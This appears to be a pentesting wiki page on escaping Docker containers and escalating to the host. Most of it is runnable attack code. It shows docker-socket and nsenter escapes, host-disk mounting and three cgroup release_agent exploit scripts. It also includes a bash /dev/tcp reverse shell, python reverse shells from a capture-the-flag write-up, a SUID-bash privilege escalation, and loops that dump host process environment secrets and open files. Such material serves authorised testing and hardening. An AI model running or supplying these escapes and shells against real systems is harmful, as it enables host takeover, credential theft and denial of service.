# Docker Breakout / Privilege Escalation
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{% hint style="danger" %} Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**. {% embed url="https://securityhubs.io/" %} {% endhint %} ## Automatic Enumeration & Escape * [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers** * [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically** * [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it * [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers * [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image ## Mounted Docker Socket Escape If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\ This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions. ```bash #Search the socket find / -name docker.sock 2>/dev/null #It's usually in /run/docker.sock ``` In this case you can use regular docker commands to communicate with the docker daemon: ```bash #List images to use one docker images #Run the image mounting the host disk and chroot on it docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash # Get full access to the host via ns pid and nsenter cli docker run -it --rm --pid=host --privileged ubuntu bash nsenter --target 1 --mount --uts --ipc --net --pid -- bash # Get full privs in container without --privileged docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` {% hint style="info" %} In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`** {% endhint %} Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`. {% hint style="info" %} Additionally, pay attention to the runtime sockets of other high-level runtimes: * dockershim: `unix:///var/run/dockershim.sock` * containerd: `unix:///run/containerd/containerd.sock` * cri-o: `unix:///var/run/crio/crio.sock` * frakti: `unix:///var/run/frakti.sock` * rktlet: `unix:///var/run/rktlet.sock` * ... {% endhint %} ## Capabilities Abuse Escape You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** You can check currently container capabilities using **previously mentioned automatic tools** or: ```bash capsh --print ``` In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges: {% content-ref url="../../linux-capabilities.md" %} [linux-capabilities.md](../../linux-capabilities.md) {% endcontent-ref %} ## Escape from Privileged Containers A privileged container can be created with the flag `--privileged` or disabling specific defenses: * `--cap-add=ALL` * `--security-opt apparmor=unconfined` * `--security-opt seccomp=unconfined` * `--security-opt label:disable` * `--pid=host` * `--userns=host` * `--uts=host` * `--cgroupns=host` The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. You can r**ead all the effects of `--privileged`** in this page: {% content-ref url="../docker-privileged.md" %} [docker-privileged.md](../docker-privileged.md) {% endcontent-ref %} ### Privileged + hostPID With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` Test it in a container executing: ```bash docker run --rm -it --pid=host --privileged ubuntu bash ``` ### Privileged Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release\_agent or other escapes**. Test the following bypasses in a container executing: ```bash docker run --rm -it --privileged ubuntu bash ``` #### Mounting Disk - Poc1 Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) So to take over the host machine, it is trivial: ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder. #### Mounting Disk - Poc2 Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector: ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger ### Check root UUID cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300 # Check Underlying Host Filesystem findfs UUID= /dev/sda1 # Attempt to Mount the Host's Filesystem mkdir /mnt-test mount /dev/sda1 /mnt-test mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now. ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` #### Privileged Escape Abusing release\_agent - PoC1 {% code title="Initial PoC" %} ```bash # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash # Finds + enables a cgroup release_agent # Looks for something like: /sys/fs/cgroup/*/release_agent d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` # If "d" is empty, this won't work, you need to use the next PoC # Enables notify_on_release in the cgroup mkdir -p $d/w; echo 1 >$d/w/notify_on_release # If you have a "Read-only file system" error, you need to use the next PoC # Finds path of OverlayFS mount for container # Unless the configuration explicitly exposes the mount point of the host filesystem # see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab` # Sets release_agent to /path/payload touch /o; echo $t/c > $d/release_agent # Creates a payload echo "#!/bin/sh" > /c echo "ps > $t/o" >> /c chmod +x /c # Triggers the cgroup via empty cgroup.procs sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` {% endcode %} #### Privileged Escape Abusing release\_agent - PoC2 {% code title="Second PoC" %} ```bash # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash # Mounts the RDMA cgroup controller and create a child cgroup # This technique should work with the majority of cgroup controllers # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" # It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x # If mount gives an error, this won't work, you need to use the first PoC # Enables cgroup notifications on release of the "x" cgroup echo 1 > /tmp/cgrp/x/notify_on_release # Finds path of OverlayFS mount for container # Unless the configuration explicitly exposes the mount point of the host filesystem # see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` # Sets release_agent to /path/payload echo "$host_path/cmd" > /tmp/cgrp/release_agent #For a normal PoC ================= echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd #=================================== #Reverse shell echo '#!/bin/bash' > /cmd echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd chmod a+x /cmd #=================================== # Executes the attack by spawning a process that immediately ends inside the "x" child cgroup # By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory # The script on the host will execute after /bin/sh exits sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` {% endcode %} Find an **explanation of the technique** in: {% content-ref url="docker-release_agent-cgroups-escape.md" %} [docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md) {% endcontent-ref %} #### Privileged Escape Abusing release\_agent without known the relative path - PoC3 In the previous exploits the **absolute path of the continer inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the continer inside the host** you can use this technique: {% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %} [release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md) {% endcontent-ref %} ```bash #!/bin/sh OUTPUT_DIR="/" MAX_PID=65535 CGROUP_NAME="xyx" CGROUP_MOUNT="/tmp/cgrp" PAYLOAD_NAME="${CGROUP_NAME}_payload.sh" PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}" OUTPUT_NAME="${CGROUP_NAME}_payload.out" OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}" # Run a process for which we can search for (not needed in reality, but nice to have) sleep 10000 & # Prepare the payload script to execute on the host cat > ${PAYLOAD_PATH} << __EOF__ #!/bin/sh OUTPATH=\$(dirname \$0)/${OUTPUT_NAME} # Commands to run on the host< ps -eaf > \${OUTPATH} 2>&1 __EOF__ # Make the payload script executable chmod a+x ${PAYLOAD_PATH} # Set up the cgroup mount using the memory resource cgroup controller mkdir ${CGROUP_MOUNT} mount -t cgroup -o memory cgroup ${CGROUP_MOUNT} mkdir ${CGROUP_MOUNT}/${CGROUP_NAME} echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release # Brute force the host pid until the output path is created, or we run out of guesses TPID=1 while [ ! -f ${OUTPUT_PATH} ] do if [ $((${TPID} % 100)) -eq 0 ] then echo "Checking pid ${TPID}" if [ ${TPID} -gt ${MAX_PID} ] then echo "Exiting at ${MAX_PID} :-(" exit 1 fi fi # Set the release_agent path to the guessed pid echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent # Trigger execution of the release_agent sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" TPID=$((${TPID} + 1)) done # Wait for and cat the output sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` Executing the PoC within a privileged container should provide output similar to: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 Checking pid 200 Checking pid 300 Checking pid 400 Checking pid 500 Checking pid 600 Checking pid 700 Checking pid 800 Checking pid 900 Checking pid 1000 Checking pid 1100 Checking pid 1200 Done! Output: UID PID PPID C STIME TTY TIME CMD root 1 0 0 11:25 ? 00:00:01 /sbin/init root 2 0 0 11:25 ? 00:00:00 [kthreadd] root 3 2 0 11:25 ? 00:00:00 [rcu_gp] root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp] root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events] root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd] root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` #### Privileged Escape Abusing Sensitive Mounts There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\ The abuse of these files may allow that: * release\_agent (already covered before) * [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc) * [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern) * [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper) * [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) However, you can find **other sensitive files** to check for in this page: {% content-ref url="sensitive-mounts.md" %} [sensitive-mounts.md](sensitive-mounts.md) {% endcontent-ref %} ### Arbitrary Mounts In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized\_keys… ```bash docker run --rm -it -v /:/host ubuntu bash ``` ### Privilege Escalation with 2 shells and host mount If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\ You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc. ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container chown root:root bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder bash -p #From non priv inside mounted folder ``` ### Privilege Escalation with 2 shells If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**. Docker ensures that block devices **cannot be abused from within the container** by setting a cgroup policy on the container that blocks read and write of block devices.\ However, if a block device is **created within the container it can be accessed** through the /proc/PID/root/ folder by someone **outside the container**, the limitation being that the **process must be owned by the same user** outside and inside the container. **Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): ```bash # On the container as root cd / # Crate device mknod sda b 8 0 # Give access to it chmod 777 sda # Create the nonepriv user of the host inside the container ## In this case it's called augustus echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd # Get a shell as augustus su augustus su: Authentication failure (Ignored) augustus@3a453ab39d3d:/backend$ /bin/sh /bin/sh $ ``` ```bash augustus@GoodGames:~$ ps -auxf | grep /bin/sh root 1496 0.0 0.0 4292 744 ? S 09:30 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' root 1627 0.0 0.0 4292 756 ? S 09:44 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' augustus 1659 0.0 0.0 4292 712 ? S+ 09:48 0:00 \_ /bin/sh augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ grep /bin/sh # The process ID is 1659 in this case # Grep for the sda for HTB{ through the process: augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda HTB{7h4T_w45_Tr1cKy_1_D4r3_54y} ``` ### hostPID If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab: ``` docker run --rm -it --pid=host ubuntu bash ``` For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands. Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running: ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HOSTNAME=argocd-server-69678b4f65-6mmql USER=abrgocd ... ``` You can also **access other processes file descriptors and read their open files**: ```bash for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt less fds.txt ...omitted for brevity... lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0 lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp # You can open the secret filw with: cat /proc/635813/fd/4 ``` You can also **kill processes and cause a DoS**. {% hint style="warning" %} If you somehow has privileged **access over a process outside of the container**, you could run something like `nsenter --target --all` or `nsenter --target --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.** {% endhint %} ### hostNetwork ``` docker run --rm -it --network=host ubuntu bash ``` If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`. For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance. Like in the following examples: * [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) * [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access): {% content-ref url="../../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md" %} [kubernetes-access-to-other-clouds.md](../../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md) {% endcontent-ref %} ### hostIPC ``` docker run --rm -it --ipc=host ubuntu bash ``` If you only have `hostIPC=true`, you most likely can't do much. If any process on the host or any processes within another pod is using the host’s **inter-process communication mechanisms** (shared memory, semaphore arrays, message queues, etc.), you'll be able to read/write to those same mechanisms. The first place you'll want to look is `/dev/shm`, as it is shared between any pod with `hostIPC=true` and the host. You'll also want to check out the other IPC mechanisms with `ipcs`. * **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm` * **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a` ### User namespace abuse via symlink The second technique explained in the post [https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files). {% hint style="danger" %} Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**. {% embed url="https://securityhubs.io/" %} {% endhint %} ## CVEs ### Runc exploit (CVE-2019-5736) In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\ Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine: `docker exec -it /bin/sh` This will trigger the payload which is present in the main.go file. For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) {% hint style="info" %} There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) {% endhint %} ## Breakout Templates ### Container Breakout through Usermode helper Template If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode): * Find the **path of the containers filesystem** inside the host * You can do this via **mount**, or via **brute-force PIDs** as explained in the second release\_agent exploit * Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens * You should be able to **execute the trigger from inside the host** * You need to know where the containers files are located inside the host to indicate a script you write inside the host * Have **enough capabilities and disabled protections** to be able to abuse that functionality * You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container ## References * [https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB](https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB) * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) * [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html) * [https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d) * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver) * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) * [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) {% hint style="danger" %} Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**. {% embed url="https://securityhubs.io/" %} {% endhint %}
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